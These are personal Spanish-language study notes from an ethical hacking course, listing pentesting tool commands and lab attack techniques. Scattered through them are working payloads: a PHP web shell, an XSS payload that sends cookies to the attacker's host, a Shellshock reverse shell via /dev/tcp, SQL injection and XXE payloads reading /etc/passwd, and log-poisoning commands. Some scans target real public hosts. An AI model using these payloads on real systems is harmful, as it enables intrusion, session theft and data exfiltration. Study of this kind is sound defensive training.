02/20223

INTRODUCCIÓN AL HACKING ÉTICO

DANILO RIVERO PÉREZ

Curso en Mastermind realizado por S4vitar

ÍNDICE

INTRODUCCIÓN

Este documento se ha escrito a medida que iba avanzando en el curso de S4vitar expuesto en la plataforma online *Mastermind*. He decidido comprar y realizar este curso de Introducción al Hacking ético debido a que una de mis pasiones dentro del mundo de la informática es la ciberseguridad, y por ello quiero aprender mucho acerca de este ámbito para en un futuro poder llegar a ser un experto en el sector, y que mejor forma de empezar que con este curso realizado por S4vitar.

El objetivo principal de este documento es plasmar por escrito los conocimientos aprendidos durante el curso y apuntarlos para poder consultarlos en un futuro si hiciera falta.

WHATWEB

- whatweb http://10.10.10.191 (Para ver que CMS usa, que S.0 tiene esa máquina, etc. Muy parecido a la extension de Chrome o Firefox Wappalyzer, pero en línea de comandos)

PÁGINA WEB DE UTILIDAD PARA EXPLOTAR EL SUID, el USO, comandos y las CAPABILITIES (Para explotar privilegios)

- gtfobins.github.io

PÁGINA WEB PARA VER EL TTL Y VER A QUE MÁQUINA CORRESPONDE

- https://subinsb.com/default-device-ttl-values/

Device / OS	TTL
Unix (Linux/Unix)	64
Windows	128
Solaris/AIX	254

VER INFORMACION ACERCA DE LA DISTRO DE LINUX QUE SE ESTÁ EJECUTANDO (DISTRIBUIDOR, CODENAME. ID, etc.)

- lsb_release -a

UTILIDAD DEL COMANDO PING

- ping -c 1 10.10.10.191 2>/dev/null (UNA TRAZA ICMP SOLAMENTE Y VEMOS TTL)
- ping -c 1 193.145.155.89 -R (VER POR DONDE PASA DESDE EL ORIGEN AL DESTINO. (193.145.155.89) WEB DEL IUCTC, UBUNTU, SERVER NUEVO EN FÍSICO)
- ping -c 1 193.145.155.227 -R (VER POR DONDE PASA DESDE EL ORIGEN AL DESTINO. (193.145.155.227) WEBS VIRTUALES EN KVM,

proyectodonacion.ciber.ulpgc.es,expomelonerasintranetapi.ciber.ulpgc.es, etc.)

UTILIDAD SORT SIN REPETIR, REGEX Y XCLIP

- sort -u (ordenar sin repeticiones)
- EXPRESION REGULAR DE UNA IP: grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
- XCLIP: xclip -sel clip

VER MI IP DE UNA MANERA MUY CÓMODA

- hostname -I

BUSCAR ARCHIVOS SUID

- find / -perm -4000 2>/dev/null

PATH

- echo $PATH (Ver el PATH, posinle PATHHijacking)

- echo $SHELL (VER QUE SHELL estoy usando)

- env (Ver variables de entorno)

- export PATH=/opt/danilo:$PATH (Modificamos el PATH poniendo a la punta ante la ruta relativa /opt/danilo, seguido de ":" y el resto del PATH que había ya)

SUID

- chmod u+s file.sh (Establecer bit subid al usuario propietario del fichero file.sh)

- Si ese archivo tiene el bit SUID, siempre será ejecutado por el usuario propietario, si ese fichero fuera ejecutado por pepito pero ese archivo su usuario propietario fuera danilo, siempre sera ejecutado por danilo, aunque lo ejecuta pepito

JOHN

- Herramienta para romper hashes.

- john --wordlist=/usr/share/wordlists/rockyou.txt File (Rompe los hash del fichero llamado File, usando el diccionario rockyou.txt y se podrá mostrar su contenido encriptado luego con json --show File)

- john --show File (Vemos de manera clara el hash desencriptado)

CAPABILITIES

¿Qué son?: Las capabilities nos permiten gestionar que permisos tiene un proceso para acceder a las partes del kernel. Independientemente del usuario que lo lance.
Existen una serie de capabilities que se pueden habilitar a los programas para que tengan acceso a dichas partes que gestionan.
Estos cuentan con Flags para poder determinar que acciones están disponibles:

Efectivas (e): las capacidades usadas por el núcleo para llevar a cabo comprobaciones de permisos para el proceso.

Permitidas (p): las capacidades que el proceso puede asumir (esto es, un superconjunto limitante para los conjuntos de efectivas y heredadas). Si un proceso elimina una capacidad de su conjunto de permitidas, no puede volver nunca a adquirir esa capacidad (a menos que ejecute un programa set-UID-root).

Heredadas (i): las capacidades que se conservan tras llamadas a execve(2).

Hay diferentes tipos de capabilities: cap_setudi+ep, cap_net_raw+ep, etc.

- getcap -r / 2>/dev/null (Obtener las capabilities de forma recursiva (-r) definidas a nivel de sistema)

- getcap /usr/bin/python3.8 (Ver las capabilities del archivo python3.8)

Si el archivo python (que tiene como usuario y grupo propietario root) tuviera una capability del tipo: cap_setudi+ep, y yo como usuario sin privilegios ejecuto en une one-liner: python3.8 -c 'import os; os.setuid(0); os.system(/bin/bash);' tendría una bash y sería root ya.

- setcap -r /usr/bin/python (Quitar capapbility al archivo python (r de remove))

- setcap cap_setuid+ep /usr/bin/python3.8 (Asignar una capability del tipo cap_setuid+ep al archivo python3.8)

UPDATEDB Y LOCATE

- updatedb (Sincroniza todos los archivos existentes en el sistema en una BD, para que posteriormente con herramientas como "locate", pueda encontrar archivos indicando las rutas absolutas de esos archivos)

- locate .nse (Buscar archivos con extension .nse)

- locate allPorts (Busca archivos llamados allPorts)

DIRECTORIOS DE TRABAJO (UTILIDAD MKT DE S4VITAR)

- mkdir {nmap,content,scripts,tmp,exploits}

NMAP

- USO: Para escanear puertos (abiertos, filtrados o cerrados)

  - nmap 10.10.10.188 -p- --open -T5 -v -n -oG allPorts (Escanear todos los puertos TCP abiertos de la iP fijada, de forma más rápida (T5, parámetro mas agresivo, rápido y muy Ruidos de name, ya que estamos en un entorno controlado) y además de forma verbose. También queremos que NO nos aplique resolución de nombres NDS (-n), ya que sino tarda mucho. POR ULTIMO EL RESULTADO DEL ESCANEO ES EXPORRTADO DE FORMA GREPEABLE AL FICHERO ALLPORTS, EN DONDE SE PUEDE BUSCAR CON EXPRESIONES REGULARES FACILMENTE. BASICAMENTE ESTO NOS DICE LOS PUERTOS ABIERTOS)

  - nmap -sS --min-rate 5000 --open -vvv -n -Pn -p- 10.10.10.46 -oG allPorts (Agilizamos el escaneo, ya que usamos -sS (TCP sync port scan), indicando que queremos emitir paquetes NO más lentos que 5000 paquetes por segundo, agilizando el escaneo y sin necesitar el parámetro -T5. Quitamos la resolución DNS (-n). Además, NO queremos que nos aplique host discovery (-Pn), es decir NO queremos que nos aplique descubrimiento de hosts a través del protocolo de resolución de direcciones ARP. Y indicamos -vvv para que nos de muchas mas información por pantalla con el triple verbose. Exportamos el output a un fichero llamado allPorts en formato GREPEABLE)

  - nmap -sC -sV -p22,80,443 10.10.10.191 -oN targeted (Lanzamos una serie de scripts básicos de nmap de enumeración (sC), detectamos la versión y servicios que corren para determinados puertos (sv), e indicamos los puertos. Estos es un escaneo mas especifico. Nos dice por ejemplo ante que maquina estamos (Linux, Windows, etc,), La version de los servicios y puertos por ejemplo el OpenSSH 7.6 o el Apache http

2.4.9,el title de la web y demás. Todo exportado en formato nmap o formato normal al fichero targeted)

- nmap --top-ports 5000 --open -T5 -v -n 10.10.10.101 (Escanear el top 5000 de los puertos mas comunes, no son todos los puertos, pero si los 5000 mas comunes en este caso)

- nmap -p445 10.10.10.40 --script "vuln and safe" -oN smbScan (Lanza scripts de las categories vuln y safe, para encontrar vulnerabilidades vulnerables en ese puerto abierto. 445 corresponde al servicio Samba. Hay scripts de nmap, a parte de otras herramientas mas usadas y mejores, para encontrar vulnerabilidades y exploits)

- nmap --script http-enum -p22,80,443 10.10.10.191 -oN webScan (Lanzamos el script específico http-enum (Diccionario pequeñito) de nmap sobre los puertos 22,80 y 443, de la máquina 10.10.10.191, para encontrar ciertas rutas de un servicio y demás)

SCRIPTS DE NMAP

- Están en /usr/share/nmap/scripts/*.nse

TCPDUMP

- tcpdump -I INTERFAZ -w Captura.cap -v (Guarda todo el tráfico en red interceptado en el fichero Captura.cap)

TSHARK

- tshark -r Captura.cap (Analiza la captura hecha con tcpdump. Es como wireshark pero en linea de comandos)

- tshark -r Captura.cap -Y "http" -Tjson 2>/dev/null (Listar la información en formato JSON)

- tshark -r Captura.cap -Y "http" -Tfields -e tcp.payload 2>/dev/nulll (Filtro por cabeceras HTTP y por el campo tcp.payload, que es donde viaja el bruto de la petición)

XXD PARA PASAR DE HEXADECIMAL A NORMAL Y DE NORMAL A HEXADECIMAL

- echo "Hola que tal" | xxd (Lo pasamos a hexadecimal)

- echo "Hola que tal" | xxd -ps (Vemos solo el hexadecimal a secas. Hay que quitarle el 0a del final siempre)

- echo "486f6c61" | xxd -ps -r (Pasar de hexadecimal a normal)

WFUZZ

- QUE ES?: HERRAMIENTA PARA HACER FUZZING de rutas por fuerza bruta y demás.

- wfuzz -c -t 400 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ (Nos encuentra rutas en un servidor web, ocultándonos el código de estado 404 (-hc), haciendo uso del diccionario (-w) 2.3 medium, con 400 hilos pa mas rapidez (-t 400) y con formato colorizado (-c))

- wfuzz -c -L -t 400 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ (Lo mismo que el de arriba pero si sale algún código de estado 301, hace un follow al redirect y se va al código de estado final (-L).)

- wfuzz -c -L -t 400 --sc=200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ (Lo mismo que los de arriba pero solo muestra los códigos 200 (-sc))

- wfuzz -c -L -t 400 --sh=2385 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ (Lo mismo que los de arriba pero solo muestra las rutas que tengan 2385 de total de caracteres (-sh))

- wfuzz -c -L -t 400 --hl=170 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.191/FUZZ (Lo mismo que los de arriba pero solo muestra las rutas que NO tengan 170 de total de líneas (-hl). Es decir, oculta las rutas con 170 líneas)

- wfuzz -c -L -t 400 --hc=404 --hl=170 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions.txt http://10.10.10.191/FUZZ.FUZ2Z (Lo mismo que los de arriba pero usando dos filtros (--hc y --hl) y dos diccionarios.)

NOTA: Donde el contenido de extensions.txt es:

txt
php
html

- wfuzz -c -L -H " User-Agent: Google Chrome" -t 400 --hc=404 --hl=170 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions.txt http://10.10.10.191/FUZZ.FUZ2Z (Lo mismo que los de arriba pero personalizando el User-Agent de wfuzz)

- wfuzz -c -t 200 -z range,0000-9999 "http://10.10.10.191/reports.php?report=FUZZ" (Prueba un rango de numeros en la URL)

- wfuzz -c -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,txt-html-pdf "http://10.10.10.191/FUZZ.FUZ2Z" (Usa dos

diccionarios, donde el segundo prueba una lista de extensiones compuesta por extensiones TXT, HTML y PDF)

- wfuzz -c -L -t 400 --hc=404 --hh=429 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -d 'usuario=FUZZ&password=test' http://10.10.10.191/login.php (Nos prueba diferentes usuarios para encontrar uno válido)

DIRBUSTER

- Herramienta gráfica para encontrar rutas por fuerza bruta. WFUZZ ES MEJOR

DIRB

- QUE ES?: Herramienta para hacer fuerza bruta de rutas en un servidor web. Utiliza por defecto el diccionario /usr/share/wordlists/dirb/common.txt. Dirbuster es mejor

- dirb http://10.10.10.89 (Esnaea rutas usando common.txt como diccionario)

- dirb http://10.10.10.89 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt (Escanea rutas indicando un diccionario específico)

GOBUSTER

- QUE ES?: HERRAMIENTA, que por fuerza bruta encuentra directorios y demás de un server web. WFUZZ ES MEJOR.

- gobuster dir -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://10.10.10.191 (Escanea rutas, con 100 hilos (-t) y usa el diccionario médium 2.3 (-w))

DIRSEARCH

- QUE ES?: HERRAMIENTA PARECIDA A WFUZZ PARA ESCANEAR RUTAS DE SERVER WEBS

  - ES MUY BUENA, PERO WFUZZ ES UN POQUITO MEJOR, PERO ESTA HERRAMIENTA ES LA SEGUNDA MEJOR

Instalación:

- git clone https://github.com/maurosoria/dirsearch.git --depth 1
- cd dirsearch/
- chmod +x ./dirsearch.py

Ejecutarlo:

  - ./dirsearch.py -u http://193.145.155.89 -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt (Escanea rutas de un server web, usando un diccionario (-w) y usa una lista de las extensiones mas comunes (-e). Lo bueno es que ya te indica a donde te lleva el redirect)

WAFW00F

-QUE ES?: PARA COMPROBAR SI UNA URL TIENE UN WAF QUE PUEDA BLOQUEAR DETERMINADO TRAFICO HTTP.

  - wafw00f http://193.145.155.89 (Para comprobar si hay waf o no)

WPSCAN

- QUE ES?: HERRAMIENTA PARA VULNERABILIDADES Y ESCANERS DE WEBS HECHAS EN WORDPRESS.

- wpscan --url http://193.145.155.89 -e vp,u (Enumerar los plugin vulnerables (vp) y los usuarios POTENCIALES VÁLIDOS (u))

- wpscan --url http://193.145.155.89 -e vp,u random-user-agent (Lo mismo pero si aveces se buguea la de arriba, usar esta)

- wpscan --url http://193.145.155.89 -e vp,u --disable-tls-checks (Lo mismo que la primera, pero no cheequea certificados SSL o seguridad TLS, y aveces hay que indicarlo)

WPSeku Wordpress

URL: https://github.com/andripwn/WPSeku

USO: Se utiliza para escanear vulnerabilidades en una web hecha con Wordpress, enumerar temas de WP, ver licencia, version de WP, directory listings, WAF, rutas que server utiliza, usuarios, plugins ...

Para descargarlo:

- git clone https://github.com/andripwn/WPSeku.git
- cd WPSeku/
- pip3 install -r requirements.txt

Para usarlo:

- cd WPseku/
- python3 wpseku.py --url https://regalosencasa.com --verbose (Nos encuentra archivos, rutas, plugins, temas, usuarios y demás de wordpress)

NIKTO

- ¡ES MUY RUIDOSO!

- nikto -h http://regalosencasa.com (Nos detecta ciertas cosas, rutas, cookies, cabeceras no definidas y demás)

LAUNCHPAD PAGINA WEB

- https://launchpad.net/ubuntu/+source/openssh/1:8.0p1-2 (Para ver ante que tipo de S.O estamos, Ubuntu experimental, etc.)

EXPLOIT-DB.COM PAGINA WEB

- https://www.exploit-db.com/ (Página que conecta con la herramienta search exploit, esta pagina tiene vulnerabilidades y exploits explicadas)

SECLISTS

- QUE ES?: DICCIONARIOS MUY USADOS QUE PUEDEN SE DE UTILIDAD PARA EL PENTESTING.

- Instalación:

- git clone https://github.com/danielmiessler/SecLists.git

- USO:

- cd /SecLists/Discovery/Web-Content/CMS (Diccionarios con rutas de CMS, sobretodo de Wordpress. Se puede usar con wfuzz por ejemplo)

SEARCHSPLOIT

- INSTALAR: sudo apt install exploitdb -y (NECESARIO PARA QUE TODO FUNCIONE BIEN)

- ACTUALIZAR: searchsploit -u (ACTUALIZAR LAS VULNERABILIDADES DE LA PAGINA WEB exploit-db.com)

- searchsploit gwolle (Busca vulnerabilidades en plugins, servicios y demás. Utiliza la página exploit-db.com)

- searchsploit gwolle -w (Lo mismo que el de arriba pero pone la URL en exploitdb.com)

- searchsploit -x php/webapps/38861.txt (Nos dice que hay que hacer para explotar esa vulnerabilidad)

- searchsploit -x 38861 (Hace exactamente lo mismo que el comando de arriba)

- searchsploit -m 38861 (Nos mueve el exploit 38861 al directorio actual)

PHP MONKEY PENTESTER SCRIPT PARA RFI, PAGINA WEB

- **https://pentestmonkey.net/tools/web-shells/php-reverse-shell**

- **https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet**

SCRIPT DE PHP PARA HACKEAR RUTAS Y DEMAS

```
<?php
    $filename = $_REQUEST['page'];
```

```
    echo include($filename);
?>
```

SERVER WEB DE PYTHON DE RECRUSOS COMPARTIDOS

- python -m http.server 80

Entrar:

- localhost

PONERNOS EN ESCUCHA POR UN PUERTO

- Previamente nos abrimos una bash --> bash
- Y ejecutamos: nc -nlvp 443
- En otra terminal ejecutar el exploit una vez modificado.

TRATAMIENTO DE LA TTY TRAS UNA INTRUSIÓN

1) En la bash hackeada, ejecutar: script /dev/null -c bash
2) Ctrl + z (se queda en 2 plano)
3) stty raw -echo
4) fg (No se ven)
5) reset
6) Tipo de terminal: xterm
7) echo $TERM (y val dumb y queremos que valga "xterm")
8) export TERM=xterm (Modificamos la terminal)
9) export SHELL=bash (Modificamos la shell)
10) Nos abrimos una consola/terminal normal en nuestra máquina (Kali en mi caso) y ejecutamos: stty -a (Nos fijamos en las filas (rows) y las columnas (columns) y nos quedamos con esos dos números).
11) En la terminal hackeada ejecutamos: stty rows X columns Y (Tras esto, ya tenemos la terminal hackeada totalmente interactiva)

VULNERABILIDADES LOCALES Y VULNERABILIDADES REMOTAS

- LOCALES: Por ejemplo una escalada de privilegios. Se tiene que ejecutar la vulnerabilidad dentro de la maquina víctima. (LFI)

- REMOTAS: Tu tienes un exploit y lo ejecutas de forma remota desde tu maquina de atacante hacia la maquina víctima. Es decir, tu no tienes que estar metido en la maquina víctima para ejecutar esa vulnerabilidad. (RFI)

METASPLOIT

- Herramienta gráfica (otra opción)
- msfdb run (si nunca lo hemos abierto pues nos crea el usuario, inicializa postgreSQL, etc)
- search hfs (Buscamos la vulnerabilidad, como con searchsloit)
- use RUTA_DEL_EXPLOIT (INDICAMOS QUE QUEREMOS USAR ESE EXPLOIT)
- info (EXPLICA QUE HACE EL EXPLOIT)
- show options (Que parámetros nos piden para setear)
- set PARAMETRO IP (Para setear los parametros requeridos y que no estén ya indicados en show options)
- show targets (AVECES SE PUEDE UTILIZAR PARA VER LOS TARGETS)
- set payload Nombre_S.O (widows, linux ...)/meterpreter/reverse_tcp (Para comprometer la maquina)
- show options (vemos las opciones de payload que faltan)
- set LPORT 4645 (Cambiar puerto)
- exploit (Si sale "meterpreter >" es que todo ha ido bien)
- meterpreter > getuid (vemos el uid de la maquina víctima)
- meterpreter > sysinfo (vemos la info de la maquina víctima)
- meterpreter > shell (Ya tenemos una consola de la maquina victima)

BURPSUITE

- Es un proxy (intermediario, para interceptar peticiones). Herramienta gráfica (la community edition es la version gratis).
- Desde el Firefox clicamos las tres rayitas – ajustes - escribimos network - seleccionar manual proxy configuration - Poner 127.0.0.1 en todos lados
- Para que Burpsuite intercepte tráfico http, descargar desde http://burp el certificado e importarlo en firefox
- INTERCEPT, REPEATER E INTRUDER-

SERVIDOR WEB HTTP EN PHP

- php -S 0.0.0.0:80

SCRIPTS MALICIOSOS DE PHP

```
<?php

    echo "<pre>" - shell_exec($_REQUEST['cmd']) . "</pre>";

?>
```

BORRADO DE FICHEROS O ARCHIVOS DE MANERA SEGURA SIN DEJAR RASTRO

- shred -zun 10 -v NOMBRE_ARCHIVO

HACKTHEBOX

- CREAR CUENTA Y DESCARGAR VPN.

CODIFICACIÓN EN BASE64

- cat archivo.txt | base64 (Pasar archivo normal a base 64)

- echo "IyB0bWFwID" | base64 -d (Pasar base64 a archivo normal)

WRAPPERS DE PHP

- php://filter/convert.base64-encode/resource=NOMBRE_FICHERO
- file://NOMBRE_RUTA_FICHERO
- expect://COMANDO

ARCHIVO IMPORTANTE COMO ATACANTE

- /proc/net/tcp

Seleccionamos el campo hexadecimal y con "python" vemos a que servicios hacen referencia esos puertos internos que tiene la maquina y que puede que nmap no los haya reconocido

PASAR UN LFI A UN RCE

Si yo tengo mi propio server web con Apache por ejemplo, puedes ver las cabeceras, por ejemplo: User agetn=Mozilla, etc. Si ahora para una petición web uso curl en lugar de Firefox, el user agent será curl y eso lo puedo ver por ejemplo en fichero de log de Apache. Yo puedo inyectar comandos a través de esta abejera de esta forma:

- curl "http://regalosencasa.com" -H "User-Agent: <?php system('whoami'); ?>" (Si ahora fuera al fichero de logs de Apache, vería la ejecución del comando)

Otra forma seria a través de SSH por ejemplo así:

- ssh '<?php system("whoami"); ?>'@10.14.16.181 (y pongo mal la contraseña, pero en el fichero /var/log/auth.log saldría el comando whoami ejecutado)

HTML INJECTION Y CROSS SITE SCRIPTING (XSS)

- HTML INJECTION: Por ejemplo, en un formulario de una web pongo: <h1> Hola a todos</h1> y si se interpreta luego eso en la web como un H1 quiere decir que esa web o maquina es vulnerable a esta inyección de HTML.

- XSS: Por ejemplo en un formulario de una web pongo: <script>alert("Hackeado rey");</script> y si se interpreta luego eso en la web como un alert de JS, quiere decir que esa web o maquina es vulnerable a XSS.

PLUGIN/Extensión PARA EL NAVEGADOR PARA LAS COOKIES

- EditThisCookie

COMO ROBAR COOKIE DE USUARIO (XSS)

- Una vez escaneado todo con nmap y demás, creo un server básico con: python -m http.server 80

- Luego, en algún formulario o campo de texto de la web escribo: <script>document.write('<img src="http://10.10.14.16/s4vitar.jpg?cookie=' + document.cookie + '">')</script>

- Capturaria a través del server web de python que esta en escucha algunas cookies de sesiónelos de usuarios.

- Con esas cookies, yo podría usar Burpsuite e interceptar el trafico de la web y modificar el parámetro COOKIE con alguna de las cookies capturadas. Luego, tras darle al botón de "Forward" ya estaría iniciado sesión con ese usuario sin necesidad de proporcionar username ni password.

CROSS-SITE REQUEST FORGERY (CSRF)

- Cuando dependemos de la interacción del usuario (Por ejemplo cambiando el método POST a GET para el cambio de contraseña de una web).

SERVER-SIDE REQUEST FORGERY (SSRF)

- Esta vulnerabilidad ocurre cuando una aplicación web permite hacer consultas HTTP del lado del servidor hacia un dominio arbitrario elegido por el atacante.

- Esto le permite a un atacante hacer conexión con servicios de la infraestructura interna donde se aloja la web y exfiltrar información sensible. De esta manera podemos encontrar puertos internos que no fueron descubiertos con nmap y con ellos explotar vulnerabilidades y ganar acceso al sistema de alguna manera.

MAGIC NUMBERS

- file NOMBRE_ARCHIVO

PAGINA WEB DE NUMEROS MAGICOS DE ARCHIVOS

- https://en.wikipedia.org/wiki/List_of_file_signatures

SCRIPT PHP DESCARGADO DE LA WEB POR SI FUNCIONES COMO SYSTEM(), SHELL_EXEC() ESTAN DESACTIVADAS

- *PAGINA WEB:* https://github.com/epinna/weevely3
- *DESCARGARLO:* git clone https://github.com/epinna/weevely3
- cd weevely
- python3 weevely.py
- python3 weevely.py generate PASSWORD NOMBRE_SCRIPT_PHP
- python3 weevely.py http://URL_A_ATACAR_CON_UNA_REVERSE_SHELL PASSWORD

CONEXION SSH HACIENDO USO DE CLAVE PRIVADA

- ssh -i id_rsa root@10.10.10.191

SQL INJECTION

- ¿QUE ES?: La inyección de SQL es un tipo de ciberataque encubierto en el cual un hacker inserta código propio en un sitio web con el fin de quebrantar las medidas de seguridad y acceder a datos protegidos. Una vez dentro, puede controlar la base de datos del sitio web y secuestrar la información de los usuarios.

SQLMAP

- ¿QUE ES?: Herramienta de código abierto que permite automatizar el proceso de un ataque de inyección de SQL. Gracias a este software, no es necesario aprender este lenguaje de programación para inyectar código malicioso a una

base de datos MySQL. Un ciberataque de SQL injection podría resultar en diferentes tipos de consecuencias, como el robo, la modificación o la eliminación de la base de datos o, incluso, la instalación de malware y la ejecución remota de código en el sistema operativo de la víctima.

EJEMPLO:

- sqlmap -u "http://10.10.10.191:8080/complain/view.php?mod=admin?&view=repos&id=plans" --cookie "5ascGnVD63BD7EBevdnu" --dbs --batch --random-agent --dbms=mysql (Nos muestra si hay BD disponibles y que Sean vulnerables a SQL injection (--dbs), si SQLMAP nos hace pregunta ponemos (--batch) y así responde con las respuestas por defecto y además queremos que nos vaya cambiando la cabecera User-Agent (--random-agent). Como además yo sé que se está usando como servicio de BD MySQL pues ponemos (--dbms=mysql) y así no prueba Oracle ni esas cosas, sino solo MySQL)

OTRO EJEMPLO:

- sqlmap -u "http://10.10.10.191:8080/complain/view.php?mod=admin?&view=repos&id=plans" --cookie "5ascGnVD63BD7EBevdnu" -D complain --tables --batch --random-agent --dbms=mysql (Lo mismo que el de arriba pero como ya conozco las BD, pues la indico (-D) y dumpeo las tablas para ver sus tablas de la BD complain)

OTRO EJEMPLO MAS:

- sqlmap -u "http://10.10.10.191:8080/complain/view.php?mod=admin?&view=repos&id=plans" --cookie "5ascGnVD63BD7EBevdnu" -D complain -T tbl_customer --columns --batch --random-agent --dbms=mysql (Lo mismo

que el de arriba pero ahora con esto se ven las columnas de la tabla tbl_customer)

OTRO EJEMPLITO MAS:

- sqlmap -u "http://10.10.10.191:8080/complain/view.php?mod=admin?&view=repos&id=plans" --cookie "5ascGnVD63BD7EBevdnu" -D complain -T tbl_customer -C came,cpass --dump --batch --random-agent --dbms=mysql (Lo mismo que el de arriba pero ahora vemos los valores que hay en las columnas name y cpas de la tabla tbl_customer dumpeada)

COMANDOS MYSQL

1) CREAR BD: create database nombre_BD;

2) Borrar BD: DROP DATABASE nombre_BD;

3) Seleccionar/usar una BD: use nombre_BD;

4) Ver las BD que hay en MySQL creadas: show databases;

5) Ver las tablas y campos de una BD: show tables;

6) Ver el valor de los campos de una tabla: desc/describe nombre_tabla;

7) Insertar registros en una tabla: INSERT INTO nombre_tabla (nombre_campos) VALUES (valores_de_los_campos)

8) Actualizar/Modificar valores de campos en una tabla: UPDATE nombre_tabla SET nombre_campo = valor_campo WHERE condicion

9) Borrar campos/registros de una tabla: DELETE FROM nombre_tabla WHERE nombre_campo=valor_campo;

10) Crear tabla: create table NOMBRE_TABLA (id int(2), username varchar(3));

COMANDOS DE INYECCION SQL

1) select * from Alumnos where id = 1 order by 4;-- -; (De esta forma vemos cuantas columnas tiene una tabla, ya que si nos sale un error probamos menos en el Order by)

2) select * from Alumnos where id = 1 union select 1,2,3,"test";-- -; (Lo mismo que el de arriba pero se puede inyectar comando mysql en el union. Si tiene 4 columnas la tablas, en el union ponemos 4 valores, por ejemplo 1, 2 3 y test)

3) select * from Alumnos where id = 1 union select 1,2,3,database();-- -; (Vemos que BD está en uso)

4) select * from Alumnos where id = 1 union select 1,2,3,user();-- -; (Vemos que usuario está corriendo actualmente en MySQL)

5) select * from Alumnos where id = 1 union select 1,2,3,@@version;-- -; (Vemos que version de MySQL se está usando)

6) select * from Alumnos where id = 1 union select 1,2,3,load_file('/etc/passwd');-- -; (Cargamos el fichero /etc/passwd)

7) select * from Alumnos where id = 1 union select 1,schema_name,3,4 from information_schema.schemata;-- -; (Vemos que BD están disponibles. Es lo mismo que poner show databases)

8) select * from Alumnos where id = 1 union select 1,table_name,3,4 from information_schema.tables where table_schema = "Colegio";-- -; (Vemos que tablas están disponibles en la BD Colegio)

9) select * from Alumnos where id = 1 union select 1,column_name,3,4 from information_schema.columns where table_schema = "Colegio" and table_name = "Alumnos";-- -; (Vemos que columnas están disponibles en la tabla Alumnos de la BD Colegio)

10) select * from Alumnos where id = 1 union select 1,concat(username,0x3a,password),3,4 from Colegio.Alumnos;-- -; (Nos devuelve los usuarios y las contraseñas de los mismos alumnos separados por ":" (0x3a), haciendo uso de la tabla Alumnos y de la BD Colegio)

IDENTIFICAR HASHES

- hash-identifier (Nos dice que introduzcamos el Hash y nos devuelve con que Has se cifró esa cadena de texto)

- hashid HASH (OTRA HERRAMIENTA)

NOTA: EN INTERNET TMBN HAY PAGINAS PARA ESTO.

GENERAR CONTRASEÑA EN FORMATO DES (Unix)

- openssl passwd

PADDING ORACLE ATTACK (PADBUSTER)

- INSTALAR:

- sudo apt install padbuster

- USO:

- padbuster http://10.10.10.18/login.php COOKIE_DE_SESION 8 -cookie COOKIE_DE_SESION -encoding 0 (El 8 es el numero de bytes del algoritmo CBC. El enconding 0 es para base 64 creo, pero mirar en el man mejor. Tras la ejecución del comando, nos dice como se ha computado la cookie de sesión (Esto sale en Decrypted value ASCIII))

- padbuster http://10.10.10.18/login.php COOKIE_DE_SESION 8 -cookie COOKIE_DE_SESION -encoding 0 -plaintext "user=admin" (De esta manera puedo hacer un ataque de Cookie Hijacking ya que con el comando anterior supe como se computa la cookie, y ahora quiero ver cual es la cookie para el admin de la web. El valor que devuelve es la

cookie del admin que la podemos cambiar en EditThisCookie y ya somos admin)

PADDING ORACLE ATTACK (BURPSUITE BIT FLIPPER)

- ES OTRO ATAQUE, buscar mas info acerca de él en INTERNET.

- Un *padding oracle attack* es un **ciberataque criptográfico** para el modo cifrado CBC que permite descifrar un mensaje completo a partir de una dosis mínima de información acerca de su *padding*. El *padding oracle attack* se basa en una vulnerabilidad del modo CBC que consiste en que un sistema dé **la retroalimentación de si el *padding* de un mensaje es correcto o no**. Se trata de una cantidad mínima de información sobre el mensaje y parece no poner en riesgo su contenido. Lo cierto es que si este dato se usa de la forma adecuada, sirve para desencriptar todo un mensaje cifrado con CBC.

VULNERABILIDAD SHELLSOCK

- Para explotar esta vulnerabilidad tiene que salir en la URL la extension .cgi

- ARTICULO WEB MUY BUENO DE SHELLSOCK ATTACK: https://blog.cloudflare.com/inside-shellshock/

- Si abrimos el Burpsuite e interceptamos el tráfico y en el user-agent ponemos User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/MI_IP/443 0>&1 (Este comando esta en la web de monkey pentester y del articulo de EJEC del shellsock), y le damos a forward ya seriamos root. Antes de todo esto nos tenemos que poner a escuchar por un puerto con netcat nc -lvp 443

VULNERABILIDAD XEE (INYECCION XML)

- PAGINA WEB DE INTERES: https://portswigger.net/web-security/xxe

- ¿QUE ES?: Las vulnerabilidades de entidades externas XML afectan a los servicios que se basan en XML, como formato de mensajería, en contraposición al formato web clásico basado en HTML legible por humanos.
Una vulnerabilidad de entidad externa XML se produce cuando el servicio que analiza (o en palabras más sencillas, lee y procesa) los mensajes XML enviados por el cliente, acepta una definición externa del propio mensaje XML. Esta definición del mensaje, conocida como DTD externa, permite una extraordinaria flexibilidad para que el emisor y el receptor puedan acordar nuevos formatos de mensaje durante el tiempo de ejecución. El DTD externo está diseñado para ser utilizado cuando ambas partes son de confianza.

- EJEMPLO: Si yo veo que en una web tengo alguna subida de archivos XML o HTML, pues yo ese archivo lo puedo modificar y poner una estructura como esta:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
